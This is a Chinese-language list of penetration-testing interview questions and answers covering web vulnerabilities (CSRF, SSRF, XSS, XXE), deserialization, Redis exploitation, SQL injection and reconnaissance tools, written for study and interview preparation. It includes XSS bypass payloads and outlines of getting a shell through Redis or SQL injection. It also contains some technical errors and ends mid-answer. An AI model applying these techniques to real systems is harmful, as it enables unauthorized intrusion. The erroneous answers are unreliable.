渗透测试面试题大全
什么是CSRF,如何修复?(知道创宇)
CSRF(跨站请求伪造)攻击是指攻击者诱使用户在已登录的情况下,执行恶意请求,利用用户的身份执行未授权的操作。
修复方式:
- 使用CSRF Token:在每个敏感请求中加入唯一的CSRF Token,确保请求是由合法用户发起的。
- 验证Referer头:检查请求的
Referer头部是否来自可信的源,防止跨站请求。 - SameSite Cookie属性:设置Cookie的SameSite属性,限制跨站请求中Cookie的发送。
- 避免使用GET请求进行敏感操作:将状态更改操作(如删除、更新)限制为POST请求,以降低被滥用的风险。
redis未授权访问漏洞有哪些利用方式?
web绝对路径写shell、写入ssh公钥获取服务器权限、主从复制getshell
csrf、ssrf区别?★面试被问
CSRF(Cross-Site Request Forgery,跨站请求伪造)和SSRF(Server-Side Request Forgery,服务器端请求伪造)
CSRF是攻击者通过伪造用户提交请求。
SSRF由于服务端对用户提供的可控URL地址过于信任,没有经过严格检测,对内部或外部资源的请求。
CSRF的Token如何设计?
CSRF Token是一种用于防止跨站请求伪造的机制。它通过在用户请求中嵌入一个唯一的、由服务器生成的Token值,来验证请求的合法性。只有持有正确Token值的请求才会被服务器接受和处理。
- 唯一性:每个用户会话或请求都应该有一个唯一的Token值,以确保攻击者无法预测或重复使用。
- 时效性:Token应该具有一定的时效性,过期后需要重新生成。这可以防止攻击者使用截获的Token进行后续攻击。
- 随机性:Token值应该是随机生成的,且足够复杂,使得攻击者无法猜测或推断出正确的Token值。
CSRF和SSRF的区别及防御?★面试被问。
- CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的cookie信息伪造用户请求发至服务器。
- SSRF是服务器对用户提供的可控URL过于信任,没有进行地址限制和严格的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
- 防御:为了防御CSRF攻击,可以采取以下措施:使用验证码;检查Referer头;使用双因素认证;限制请求的来源IP等。为了防御SSRF攻击,可以采取以下措施:禁用不必要的协议;过滤和验证用户输入的URL;设置URL白名单;限制请求的端口和IP地址;统一错误信息以避免泄露敏感信息。
CSRF和XSS和XXE有什么区别,以及修复方式?
XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、输出时采用 html 实体编码。
CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验Referer
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
SSRF利用方式及修复方法?
Server-side Request Forgery;利用方法:1、访问内网资源。2、探测内网服务。3、发起Dos攻击。4、利用伪协议请求文件或构造恶意请求攻击特定的服务。修复方法:1、过滤用户输入的URL。2、限制服务端只能使用特定协议(HTTP/HTTPS)和端口。3、限制服务器只能只能访问特定资源或只能发起外部网络的请求,禁止访问内部网络。4、将服务器部署在DMZ区域。
SSRF的利用方式有哪些?
SSRF可通过构造恶意URL来读取本地文件、访问内网资源或进行远程命令执行。
SSRF常用哪些伪协议?
SSRF常用的伪协议包括file://、dict://、gopher://、ftp://、http://、https://等。
同源策略是什么?如何实现安全的跨域请求?(字节、知道创宇)
同源策略(Same Origin Policy)是浏览器的一种安全机制,用于限制不同源(即协议、域名或端口不同)的文档或脚本之间的交互操作。根据同源策略,浏览器只允许当前网页与同一源下的其他资源进行交互,包括读取和修改。这种限制有效地保护了用户的隐私和安全,阻止恶意网站通过跨域请求获取用户的敏感信息。
安全跨域有哪些方法可以实现?跨域请求的方式有哪些?(字节)
- JSONP(JSON with Padding)跨域;
- CORS(Cross-Origin Resource Sharing)跨域资源共享;
- 代理服务器转发跨域请求。
- 使用Nginx反向代理。
- 使用postMessage方法。
- WebSocket协议跨域
什么是JSONP劫持原理,如何修复?
JSONP(JSON with Padding)劫持利用了浏览器的跨域请求机制,攻击者通过伪造响应来劫持返回的数据。具体原理是利用 <script> 标签可以跨域加载外部资源的特性,攻击者诱导用户访问恶意站点,从而获取响应数据并执行恶意脚本。
修复方式:
- 禁止使用JSONP:避免使用JSONP,改为采用跨域资源共享(CORS)等更安全的方式进行跨域请求。
- 验证回调函数:如果必须使用JSONP,确保服务器验证回调函数的合法性,避免恶意脚本注入。
- 使用HTTP Only和Secure标志:确保敏感信息存储在Cookie中时设置为HTTP Only和Secure标志,防止通过跨站脚本攻击(XSS)盗取。
CORS原理、利用及修复?(字节)
Cross-Origin Resource Sharing;浏览器的同源策略限制了不同域之间的资源请求,即一个域下的网页无法直接通过Ajax等方式访问另一个域下的资源。CORS机制解决了这个问题,它允许浏览器向不同域发送跨域请求,并获取相应的数据。
利用:
1、构造恶意请求来获取敏感数据。
2、攻击者可以构造一个恶意网页发起CSRF,诱导用户访问该网页并触发恶意的跨域请求。
修复:
1、设置Access-Control-Allow-Origin响应头来指定允许的源。且避免使用通配符(*)
2、设置Access-Control-Allow-Methods响应头来限制允许的HTTP请求方法。例如,只允许GET和POST方法,而禁止PUT、DELETE等可能具有破坏性的方法。
3、设置Access-Control-Allow-Headers响应头来限制允许的请求头。这可以防止攻击者通过添加自定义请求头来绕过安全限制。
XXE注入漏洞原理与危害? (奇安信、知道创宇)
XML External Entity Injection,XML外部实体注入漏洞。应用程序在解析XML输入时,未能正确处理或限制外部实体(External Entities)的引用。攻击者可以强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件或远程系统上的文件)。
- XXE漏洞的危害包括加载恶意外部文件、造成文件读取、内网端口扫描、攻击内网网站以及发起DOS攻击等。
XXE外部实体注入无回显怎么办?
- 数据外带到第三方服务器
- 空格绕过
- 编码绕过
XXE命令执行的协议是什么?
XXE命令执行的协议可以是file://、http://、ftp://等。
XXE无回显怎么办?
可以通过分析XML解析器的日志、错误消息或调试信息来间接获取敏感信息,或者利用其他漏洞(如SQL注入)来辅助确认XXE漏洞的存在。
什么是CSP(内容安全策略)?
CSP(Content Security Policy)是一种Web安全标准,旨在防止跨站脚本(XSS)等攻击。通过指定允许加载的内容源,CSP限制浏览器加载外部资源,如脚本、样式表、图像等,从而减少恶意代码的执行风险。
CSP通过设置Content-Security-Policy HTTP头部或HTML中的<meta>标签来实现。配置规则包括限制脚本的来源、样式的来源、图片的来源等,确保只有可信的资源能够被加载和执行。
XSS原理是什么?(字节、知道创宇)
Web应用程序对用户输入过滤不足,导致攻击者能够将恶意脚本注入到网页中,当用户浏览这些被注入恶意脚本的网页时,其浏览器就会解析并执行这些脚本,从而使用户的浏览器被攻击者控制,达到攻击者的目的。
XSS进行哪些利用/危害?
1、会话劫持:使用document.cookie()获取受害者cookie,从而登录网站。
2、钓鱼攻击:通过伪装的网页窃取用户凭证。
3、恶意操作:可以执行任意JavaScript代码,获取键盘记录或导致系统破坏或数据丢失。
XSS的三种类别有什么不同?
反射型与后端通信,DOM型不需要与后端通信,前两者不保存在数据库,每次执行漏洞只能进行一次攻击。而存储型将JS代码保存在数据库中,每次读取数据时,都会执行JS代码。
XSS注入漏洞发生的功能?
XSS跨站脚本攻击主要发生在用户输入数据并被服务器反射或存储到页面上,且未经过适当的验证或编码时。例如,用户提交的数据通过搜索框、留言板、评论区等功能点被服务器反射回页面,或者通过注册、发布文章等功能点被存储到服务器上。
XSS常见的检测方法有哪些?(深信服)
手动测试:通过手动插入常见的XSS攻击代码(如 <script>alert(1)</script>)来检查页面是否存在反射型XSS漏洞。对于存储型XSS,可以上传类似代码并查看是否在页面中回显。
自动化扫描工具:使用安全扫描工具(如 Burp Suite, OWASP ZAP)对网站进行自动化测试,这些工具能够检测常见的XSS漏洞。
静态代码分析:对Web应用的源代码进行静态分析,查找潜在的XSS漏洞点,特别是对输入没有进行充分验证或输出未进行正确转义的地方。
动态分析:通过在浏览器中对应用进行动态分析,监控响应内容中的未处理的用户输入,并判断是否会在页面中执行恶意脚本。
内容安全策略(CSP)测试:测试网站是否实现了CSP,并验证CSP的配置是否足以防止XSS攻击。
XSS绕过的常见方法有哪些?(深信服)
事件处理属性绕过:通过注入事件处理程序(如<img src="x" onerror="alert(1)">)来执行恶意脚本。例如,使用onerror, onclick等事件触发脚本执行。
HTML标签属性绕过:在HTML标签属性中使用不常见的编码或分隔符,绕过一些简单的输入验证。比如:<img src="javascript:alert(1)"> 变为 <img src= 'jav	ascript:alert(1)'>。
字符编码绕过:利用不同的编码方式绕过过滤器,比如使用%20(URL编码的空格)代替空格,或使用Unicode编码字符等。
DOM-based XSS绕过:通过直接操作DOM来绕过传统的XSS检测机制。例如,攻击者可以通过在页面加载时操控URL的参数来执行恶意代码,或者利用document.location、document.cookie等DOM属性。
Base64编码绕过:将脚本内容转为Base64编码格式,然后再利用某些浏览器解析Base64的特性绕过过滤器,例如data:text/html;base64,<script>alert(1)</script>。
JSONP和iframe绕过:利用JSONP或iframe标签将恶意代码注入到目标站点。这种方式利用浏览器对不同源的宽松安全策略(如跨域策略)。
XHR绕过:使用XMLHttpRequest(XHR)来发送恶意请求,通过修改HTTP请求头或请求体中的内容来绕过XSS过滤器。
绕过特定的WAF规则:通过多层嵌套、编码、特殊字符替代等方法绕过WAF的过滤规则。例如,使用多种编码(HTML实体编码、URL编码等)组合来混淆恶意载荷。
防止XSS攻击的方法有哪些?(字节、知道创宇)
输入验证和白名单:对用户输入进行严格验证,使用白名单方式限制输入的字符和格式,避免输入恶意的脚本代码。
输出编码:对所有用户输入的内容进行适当的HTML、JavaScript、URL等编码。确保在输出到网页时,恶意脚本被当作文本而不是可执行代码。
HTTP响应头的设置:设置 X-XSS-Protection 和 Content-Security-Policy(CSP)等响应头,增强浏览器的安全性,防止恶意脚本的执行。
HttpOnly和Secure Cookie:使用HttpOnly标志防止Cookie被JavaScript访问,使用Secure标志确保Cookie仅通过HTTPS传输。
使用框架和库的安全功能:使用现代的Web框架和库(如React、Angular、Vue)来自动处理输出编码和输入验证,以减少XSS漏洞的风险。
避免使用不安全的API:避免使用容易导致XSS的API,例如document.write()、innerHTML等,应该使用更安全的方法(如textContent、createElement等)。
Web应用防火墙(WAF) :部署WAF来过滤已知的XSS攻击载荷,拦截和防御恶意请求。
安全审计和渗透测试:定期进行安全审计和渗透测试,及时发现和修复XSS漏洞。
浏览器保护Cookie的方法有哪些?
为了提高安全性,浏览器提供了多种保护Cookie的机制,避免敏感信息泄露或遭受攻击。常见的保护方法包括:
HttpOnly:设置
HttpOnly标志,确保Cookie只能通过HTTP请求访问,无法通过JavaScript脚本访问,从而防止XSS攻击窃取Cookie。Secure:设置
Secure标志,确保Cookie只通过HTTPS协议传输,防止Cookie在不安全的HTTP连接中被窃取。SameSite:设置
SameSite属性为Strict或Lax,限制浏览器在跨站请求中携带Cookie,从而防止CSRF攻击。-
Strict:完全禁止跨站请求携带Cookie。 -
Lax:允许某些类型的跨站请求(如GET请求)携带Cookie。
-
Domain:设置
Domain属性,确保Cookie只对特定的子域有效,防止不同域之间的Cookie泄露。Path:通过设置
Path属性限制Cookie在特定路径下有效,减少Cookie的暴露范围。
如何利用XSS让影响最大化?
代码注入攻击。攻击者通过在目标网站上注入恶意脚本;1、窃取用户的敏感信息,如登录凭证、信用卡信息等。2、通过恶意脚本劫持用户的会话,从而以用户的身份进行各种操作,如非法转账、强制发表日志、发送电子邮件等。3、恶意脚本可以下载并执行恶意软件,从而进一步危害用户的计算机安全。4、通过XSS攻击,攻击者可以冒充可信的网站或用户,诱骗受害者点击恶意链接或下载恶意附件,从而进一步窃取信息或进行其他恶意操作。5、篡改网页内容,如插入广告、恶意链接等。为了防止XSS攻击,网站开发者需要对用户输入的内容进行严格的过滤和编码
什么是 RMI 漏洞?
RMI 漏洞是指通过 RMI 机制存在的安全漏洞,通常是由于 RMI 服务的反序列化缺陷、权限问题或配置不当,导致攻击者能够远程执行不受控制的操作或命令。
RMI 漏洞的原理是什么?(深信服)
RMI 漏洞的根本原理通常与 Java 对象的反序列化有关。RMI 在接收远程调用时,可能会接收到一个恶意构造的对象。由于 Java 的反序列化机制,攻击者可以通过精心构造的恶意对象,使远程主机在反序列化过程中执行不安全的代码或操作。例如:
- 恶意对象反序列化:攻击者可能会构造一个恶意对象,并将其发送到 RMI 服务器,利用 Java 反序列化时执行恶意代码。
- 反射调用:攻击者可以利用反射机制在 RMI 服务端调用任意方法,从而远程执行系统命令或恶意操作。
RMI 漏洞的攻击流程是怎样的?
- 攻击者构造恶意对象:攻击者首先构造一个恶意的 Java 对象,其中包含可以触发远程服务器执行恶意代码或命令的 payload(有效负载)。
- 恶意对象发送到 RMI 服务器:攻击者将该恶意对象通过 RMI 机制发送给目标服务器,RMI 服务器在反序列化该对象时执行攻击者预设的恶意代码。
- 执行恶意操作:通过反序列化或反射等机制,RMI 服务器可能会执行未授权的操作,如访问敏感信息、修改服务器配置、执行任意命令等。
RMI 漏洞的常见攻击方式有哪些?
- 远程代码执行(RCE) :通过构造恶意对象并通过 RMI 服务发送,攻击者能够在服务器上执行任意代码。
- 反序列化漏洞:RMI 服务器在处理不受信任的对象时,可能会触发不安全的反序列化,允许执行恶意代码。
- 权限提升:通过 RMI 调用未经过严格权限验证的敏感方法,攻击者可以提升自己在目标系统中的权限。
- 信息泄露:攻击者可以通过特定的 RMI 请求访问受保护的数据或资源。
RMI 漏洞的防护措施有哪些?
- 限制 RMI 端口的访问:通过防火墙或网络访问控制策略,限制只有可信主机可以访问 RMI 服务端口。
- 使用 RMI 加密和认证:通过配置加密(如 SSL/TLS)和认证机制,确保只有经过验证的客户端才能与 RMI 服务交互。
- 禁用远程代码执行:限制 RMI 服务只允许受信任的代码进行反序列化操作,避免执行不受控制的代码。
- 加强反序列化安全:采用安全的反序列化框架(如 Apache Commons IO、Google Gson 等)来验证反序列化的数据是否合法,避免执行恶意对象。
- 最小化 RMI 服务暴露:仅暴露必要的 RMI 服务接口,并避免暴露敏感操作和权限提升相关的接口。
- 定期安全更新:及时安装 JDK 和相关库的安全更新,修补已知漏洞。
RMI 漏洞中的反序列化攻击如何利用?
- 恶意对象注入:攻击者通过网络发送恶意对象,RMI 服务端在反序列化这些对象时,可能执行恶意的代码。
- gadget 链攻击:攻击者构造包含多个链式调用的对象,利用 Java 的反射、序列化和反序列化机制,将恶意代码注入到程序中,使其在不引起怀疑的情况下执行。
如何检测和缓解 RMI 漏洞?
- 审计 RMI 服务的接口和权限:检查和审计暴露的 RMI 服务,确保没有暴露危险的接口和操作。
- 启用 Java 安全管理器:启用 Java 安全管理器,并进行安全策略配置,限制 RMI 服务能够执行的操作。
- 使用对象签名:在反序列化过程中对对象进行签名验证,防止恶意对象被注入。
- 网络隔离:将 RMI 服务与外部网络隔离,确保只有授权的系统可以访问 RMI 服务。
RMI 漏洞与反射攻击之间的关系是什么?
反射攻击是 RMI 漏洞的一种常见利用方式。攻击者可以通过反射机制动态加载并调用目标类的方法,导致远程执行恶意代码或系统命令。利用 RMI 服务,攻击者可以通过构造恶意对象和调用反射方法来绕过安全机制,从而执行任意操作。
Fastjson漏洞原理、如何修复?
Fastjson是一款高性能的Java语言JSON处理库,广泛应用于Web开发、数据交换等领域。Fastjson默认支持AutoType特性,即可以通过“$type”字段来指定具体的类进行反序列化。攻击者可以构造恶意的JSON字符串,通过指定恶意类来执行任意代码。在接收和处理JSON数据时,需要对输入进行严格的验证和过滤。避免恶意JSON的注入。
Log4j常见漏洞原理、如何修复?
Log4j是一个Java日志记录库,最著名的是Log4j 2中的JNDI注入漏洞。当Log4j在处理日志消息时,如果日志消息中包含${}格式的字符串,并且该字符串被解释为JNDI(Java Naming and Directory Interface)查找,那么攻击者就可以利用这个特性来注入恶意代码。通过构造特殊的JNDI资源,攻击者可以远程执行任意代码或触发其他安全漏洞。
修复方法:1、更新Log4j版本,新版本有官方补丁。2、在Log4j的配置文件中禁用JDID查找。3、在处理用户输入的外部数据时要验证和过滤。避免将未经验证的数据直接传递给Log4j进行日志记录。
业务逻辑漏洞有哪些具体类型?
未授权访问、身份枚举、水平越权、垂直越权、
水平越权会发生在哪些位置?
1、数据库:攻击者可能通过修改URL参数或会话标识符来访问其他用户的敏感数据。2、API接口:攻击者可以通过构造特定的请求来访问或操作其他用户的数据。3、前端:攻击者可能通过修改页面上的隐藏字段值来访问其他用户的个人信息。4、如会话标识符容易被猜测或伪造,那么攻击者可能利用这些缺陷来模拟其他用户的会话,从而进行水平越权攻击。
水平越权有哪几种检测方式?
1、手工模拟检测。2、自动化测试工具,如Burp Suite、fiddler等模拟用户请求并自动检测潜在的漏洞。3、代码审计,关注数据查询、更新、删除等操作是否进行了正确的权限校验。4、日志分析,查找异常或可疑的访问行为。
如何判断是否有CDN?
- 通过nslookup命令进行检测,如果返回域名解析对应多个IP地址多半是使用了CDN。
- 利用在线网站进行全国多地区的ping服务器操作,查看这些ip是否一致。
- 通过浏览器指纹插件查看是否有CDN服务商。
- 通过在线cdn检测工具,或判断ip是否在cdn服务商的ip范围内。
如何绕过DNS找真实IP?
邮箱反查、国外访问、查询DNS历史解析记录有没有泄露IP、通过二级域名、网络空间搜索引擎,通过SSL证书获取、F5 LTM解码法、zmap扫描全网获取。
利用SSL证书获取真实IP的原理
- 扫描端口443:攻击者可以扫描整个互联网上的IP地址,并尝试在端口443(HTTPS默认的端口)上建立SSL连接。由于许多Web服务器在端口443上运行,并且配置了SSL证书,因此攻击者可以通过这种方式发现哪些IP地址上运行着Web服务器。
- 获取SSL证书:当攻击者与一个IP地址上的Web服务器建立SSL连接时,服务器会发送其SSL证书给攻击者。攻击者可以分析这个证书,以获取其中包含的域名信息。
- 反查DNS记录:攻击者可以使用从SSL证书中获取的域名信息,通过DNS查询来找到这些域名对应的IP地址。由于DNS查询会返回域名对应的IP地址,因此攻击者可以通过这种方式来验证和确认目标服务器的真实IP地址。
如何找到某个人的联系方式?
微博私信、知乎、搜索引擎、公众号、天眼查、whois
SESSION和Cookie的区别?cookie(客小)session(服大)
1、Cookie是存储在客户端、Session则是存储在服务器端。
2、Cookie可以存储少量通常不超过4KB数据,它不适合存储大量数据。Session不受客户端存储空间的限制。
3、Cookie的生命周期由Expires或Max-Age属性决定。Cookie将在指定的时间后过期;如果没有设置,浏览器关闭时失效。Session的生命周期则由服务器控制。当用户关闭浏览器或一定时间没有活动时,Session会自动过期。Session的过期时间可以通过服务器配置进行设置。
三次握手四次挥手原理?
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手
四次挥手过程
第一次挥手,客户端向服务端发送报文,请求关闭数据传送,并进入等待状态
第二次挥手,服务端收到报文后,发送ACK确认,此时客户端到服务端的链接断开
第三次挥手,服务端数据传输完毕后,向客户端发送报文,请求关闭数据,并进入等待状态
第四次挥手,客户端收到报文后,发送确认报文,链接完全断开
SQL注入的种类?
提交方式:get、post、cookie注入
注入参数类型分:字符型、数字型、搜索型
从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、宽字节注入
SQL注入防御方法
1、使用安全的API 。 2、使用正则表达式提交字符串过滤、采用前端加服务端过滤。 3、使用安全函数,对敏感字符进行转义
4、不显示数据库错误。5、预编译。6、最小权限,只给访问数据库的WEB应用最小权限。7、重要信息加密储存。8、使用安全防护产品。
介绍下你的SQL注入流程
1、判断是否有回显,有回显尝试联合查询。2、无回显查看是否有数据库报错信息,有报错信息可以尝试报错注入。3、无回显无报错信息,尝试盲注(时间和布尔)
SQL注入写shell的条件?
1、当前用户具有写得权限。2、找到网站绝对路径。3、网站有可写目录。3、Mysql的配置secure_file_priv为空。
OSI 的七层模型都有哪些?
- 物理层:OSI模型的最低层,包括物理连网媒介,为上层协议提供一个传输数据的物理媒体。协议数据单元为比特(bit),常见的物理设备有集线器、中继器、网线、调制解调器、网卡等,常见协议有RS-232、V.35、RJ-45、FDDI等。
- 数据链路层:负责建立、维护和终止节点间的链路连接,以及数据的传输和错误检测。协议数据单元为帧(frame),常见的物理设备有网桥、二层交换机等,常见协议有IEEE802.3/.2、HDLC、PPP、ATM等。
- 网络层:负责将数据包从源端路由到目的端,实现不同网络之间的通信。协议数据单元为数据包(packet),常见的物理设备有路由器、防火墙、三层交换机等,常见协议有IP、ICMP、IGMP、IPX、ARP、RARP、BGP、RIP等。
- 传输层:提供端到端的通信服务,确保数据的完整性和可靠性。协议数据单元为数据段(segment),常见的协议有TCP、UDP、RTP、SCTP、SPX等。
- 会话层:负责建立、管理和终止会话连接,以及会话过程中的数据交换。常见的协议有RPC、SQL、NFS等。
- 表示层:负责数据的表示、安全、压缩等功能,确保数据在发送和接收端之间的正确理解和处理。常见的格式有JPEG、ASCII、GIF、DES、MPEG等,常见的协议有LPP(轻量级表示协议)等。
- 应用层:为用户和应用程序提供网络服务接口,支持各种网络应用。常见的协议有HTTP、FTP、TFTP、SMTP、DHCP、Telnet、DNS、SNMP、SSH、WWW、POP3等。
redis如何攻击?
1、未授权访问:redis可能允许任何IP的连接,攻击者可以连接redis执行命令。如读取、修改、删除数据等。
2、命令注入:在构建redis命令时候没有充分的输入校验可以注入恶意命令操纵服务器。
3、缓冲区溢出:可以利用其他软件或组件的缓冲区溢出漏洞攻击redis。
4、持久化漏洞:如果可以访问redis的持久化文件中的漏洞来恢复数据或执行恶意代码。
redis未授权访问
- 写webdhell
- 写公钥
- 主从复制
- 定时任务
请求包的组成?
1、请求行 request method 、URI(统一资源标识符)HTTP version
2、请求头 host、ua、accept、accept-language、accept-encoding、connection、cookie
3、空行
4、请求体
目录扫描工具有哪些?
Dirmap、御剑、DirBuster、Dirsearch、AWVS、wwwscan
有哪些漏洞扫描工具?
AWVS、OWASP、BurpSuite-Scanner功能、nmap、北极熊
遇到搜索框你如何去找sql注入漏洞?
sql注入绕waf方法?
1.使用SQL注释符号(如--、//、#)来隐藏恶意SQL代码。2.大小写绕过。3.特殊字符绕过。4.逻辑漏洞绕过。
用了cdn之后用户向网站发起的请求的流程是什么样的?
- 用户通过浏览器或应用程序向服务器发送HTTP请求。
- 请求首先到达CDN的边缘节点(最接近用户的节点)。
- 边缘节点向源站发送请求,获取目标资源。
- 源站收到请求后,向边缘节点发送目标数据。
- 边缘节点将数据存储在缓存中,以便更快速地提供给其他用户。
- 边缘节点通过CDN将目标数据发送给请求数据的用户。
Redis无web、Redis没回显怎么办?
可以尝试利用Redis的pub/sub功能或其他Redis命令来间接获取数据,或者结合其他漏洞(如SSRF)来访问Redis服务。
安全加固怎么定位?
安全加固需要首先进行风险评估,识别系统中的漏洞和弱点,然后制定相应的加固措施,如更新补丁、修改配置、加强访问控制等。
绕过CDN找真实IP的方法有哪些?
多地ping、国外ping、可以通过分析DNS记录、使用工具查询IP地址、观察网站响应头中的信息或利用已知漏洞来绕过CDN并找到真实IP地址。
用什么工具来进行端口扫描?
常用的端口扫描工具包括Nmap、netcat、masscan等。
平时目录扫描用到什么工具?
常用的目录扫描工具包括DirBuster、Dirsearch、Gobuster等。
用Python编写了哪些脚本?
编写了自动化测试脚本、数据抓取脚本、漏洞验证脚本等。
信息收集打点如何进入后台以及后台页面如何找到的?
通过搜索引擎、社交媒体、漏洞库等渠道收集目标系统的信息,然后使用工具或手动分析来找到后台登录页面。
在Linux中如何定位进程的可执行文件地址?
可以使用ls -l /proc/[pid]/exe或readlink -f /proc/[pid]/exe命令来定位进程的可执行文件地址。
sqlmap -u的意义是什么?
sqlmap -u用于指定要测试的URL。
level3和level5的区别是什么?
sqlmap的level参数用于控制测试的深度和广度,level3增加了对用户代理(User-Agent)和引用页(Referer)头部的检测。level3比level5的测试范围更窄,但可能更快速。level5最高级别的测试等级,会尝试使用所有可用的技术和方法进行扫描和利用,包括自动破解cookie、X-Forwarded-For(XFF)等头部注入。包含了sqlmap中所有的payload,能够进行全面而深入的扫描,以发现潜在的注入点。
数据库增删改查对应的关键字是什么?
增(Insert)、删(Delete)、改(Update)、查(Select)。
常见的命令执行函数(PHP)有哪些?
包括exec()、shell_exec()、system()、passthru()、popen()等。
谷歌语法有哪些?
常用的谷歌语法包括site:、inurl:、intitle:、filetype:等。
存储型跨站脚本如何利用?
存储型跨站脚本漏洞可以通过在目标网站上插入恶意脚本,当其他用户访问该页面时执行恶意脚本。
Python爬虫用到哪些库?
常用的Python爬虫库包括requests、BeautifulSoup、Scrapy等。
request里如何发送GET和POST请求?
使用requests.get(url)发送GET请求,使用requests.post(url, data=payload)发送POST请求。
爆破SSH如何爆破?参数是什么?
可以使用工具如Hydra、Medusa等进行SSH爆破,参数包括目标IP地址、端口号、用户名列表和密码列表等。
出现报错信息如何利用?
可以分析报错信息中的敏感信息,如数据库错误信息、文件路径等,来构造攻击语句。
熟悉哪些网络空间搜索引擎?
熟悉的网络空间搜索引擎包括Fofa、ZoomEye、Shodan等。
Fofa如何通过相关IP找资产?
可以使用Fofa的搜索语法,如ip="x.x.x.x"来查找相关IP地址的资产信息。
IIS7.0有什么漏洞?
IIS7.0存在多个漏洞,如安全补丁未及时更新导致的漏洞、配置不当导致的漏洞等。
中间件Apache Tomcat IIS Nginx的区别是什么?
- Apache:简单、速度快、性能稳定,支持SSL技术、多个虚拟主机,以及代理服务器功能。常用于托管静态网页和轻量级动态网站,适合需要高稳定性和广泛兼容性的场景。
- tomcat:专注于Java应用的部署和运行,适用于Java Web应用的开发和部署,特别是需要处理复杂Java逻辑和动态内容的网站。
- IIS:与Windows系统深度集成,支持多种协议,包括HTTP、HTTPS、FTP、SMTP等适合在Windows环境下运行,特别是与微软其他产品(如.NET框架、ASP.NET)紧密集成的场景。
- Nginx:占有内存少,并发能力强--适用于需要处理高并发请求、提供反向代理和负载均衡服务的场景,如大型网站、电商平台等。
对小程序如何进行渗透测试?
小程序渗透测试需要分析小程序的代码、接口、数据存储等方面,发现潜在的安全漏洞。
文件包含漏洞产生的原因是什么?
文件包含漏洞通常是由于应用程序在处理用户输入时没有进行充分的验证和过滤导致的。
文件包含漏洞常见的四个函数是什么?(知道创宇)
常见的文件包含函数包括include()、require()、include_once()和require_once()。
include、include_once、require、 require_once区别? ()
1、require()和require_once()函数:
require()函数引入文件不存在时,将立即退出程序;文件已经存在时,则还是会重复的引入
require_once()只包含一次
2、include() 函数和include_once()函数
include()函数引入文件不存在时,不会立即退出程序,会继续向下执行;当文件已经存在时,则还是会重复的引入
include_once()只包含一次。
如何使用谷歌语法找网站后台?
可以使用谷歌语法如site:example.com intitle:login来查找目标网站的后台登录页面。
Redis未授权漏洞在有web服务的情况下如何利用?
可以利用Redis未授权漏洞进行数据库读写、文件读写、命令执行等操作,进而控制整个系统。
如何用谷歌语法搜寻Tomcat页面?
可以使用谷歌语法如intitle:"Apache Tomcat"来搜索Tomcat页面。
通过Redis拿Webshell的前提条件是什么?
需要目标系统存在Redis未授权漏洞,并且Redis服务可以访问到目标系统的文件系统。
反序列化漏洞原理是什么?
反序列化漏洞是由于应用程序在处理反序列化数据时没有进行充分的验证和过滤导致的,攻击者可以构造恶意的序列化数据来执行任意代码。
IIS6.0和IIS7.0有什么区别?
IIS6.0和IIS7.0在性能、安全性、管理等方面存在差异,IIS7.0引入了模块化设计,提高了安全性和可维护性。
什么是CDN?
CDN是内容分发网络(Content Delivery Network)的缩写,它通过在网络中部署多个节点来提高网站的访问速度和可用性。
Nmap全端口扫描指令是什么?
Nmap全端口扫描指令为nmap -p- target,其中target为目标IP地址或域名。
你用过哪些安全服务设备?
用过的安全服务设备包括防火墙、入侵检测系统(IDS)、入侵防御系统(IPS)等。
JS如何获取Cookie?
可以使用document.cookie来获取当前页面的Cookie信息。
文件包含漏洞如何利用?(深信服)
可以利用文件包含漏洞读取系统文件、执行任意代码或包含恶意文件。
谷歌语法如何搜索后台管理页面?
可以使用谷歌语法如intitle:login、intext:admin等来搜索后台管理页面。
DICT协议和Gopher协议有什么区别?(深信服)
DICT协议是一个网络协议,允许用户查询字典或词典数据。它通过客户端和远程字典服务器之间的请求与响应机制提供词汇定义、同义词、翻译等信息。DICT协议通常用于提供词典服务或文本查询服务,专注于简洁的文本查询。
Gopher协议是早期的互联网协议,主要用于通过分层的菜单系统获取和分享信息。用户可以浏览菜单、访问存储在不同主机上的文件和文档。Gopher协议的设计相对简单,支持文件传输和层次化的菜单选择系统,允许用户逐步进入更深层次的内容。
区别:
- 目的与应用领域:DICT协议主要用于字典查询,提供词汇定义和相关信息;Gopher协议则是一个更通用的信息分发协议,支持各种类型的文件、文档和菜单访问。
- 数据访问方式:DICT协议通过查询和响应机制进行交互,专注于文本查询;Gopher协议通过层级菜单系统逐步进入具体内容,支持文件和文档传输。
- 协议复杂性:DICT协议较为简单,主要用于字典查询;Gopher协议支持复杂的文件管理和多层次菜单系统。
- 协议现代化:DICT协议在现代仍有一定应用,尤其是在在线词典服务中;Gopher协议随着HTTP和Web的普及逐渐被淘汰,现代互联网中已经不再广泛使用。
- 交互方式:DICT协议主要是文本交互;Gopher协议则依赖菜单驱动式的交互。
Redis结合Gopher协议如何利用?
可以利用Redis未授权漏洞和Gopher协议进行SSRF攻击,进而访问内网资源或进行远程命令执行。
如果遇到需要认证的Redis,如何进行SSRF攻击?(深信服)
在Redis服务需要认证的情况下,进行SSRF攻击时需要绕过认证机制并成功连接到Redis服务器。通常Redis的认证通过密码来进行验证,攻击者需要知道正确的密码才能执行命令。
处理方法:
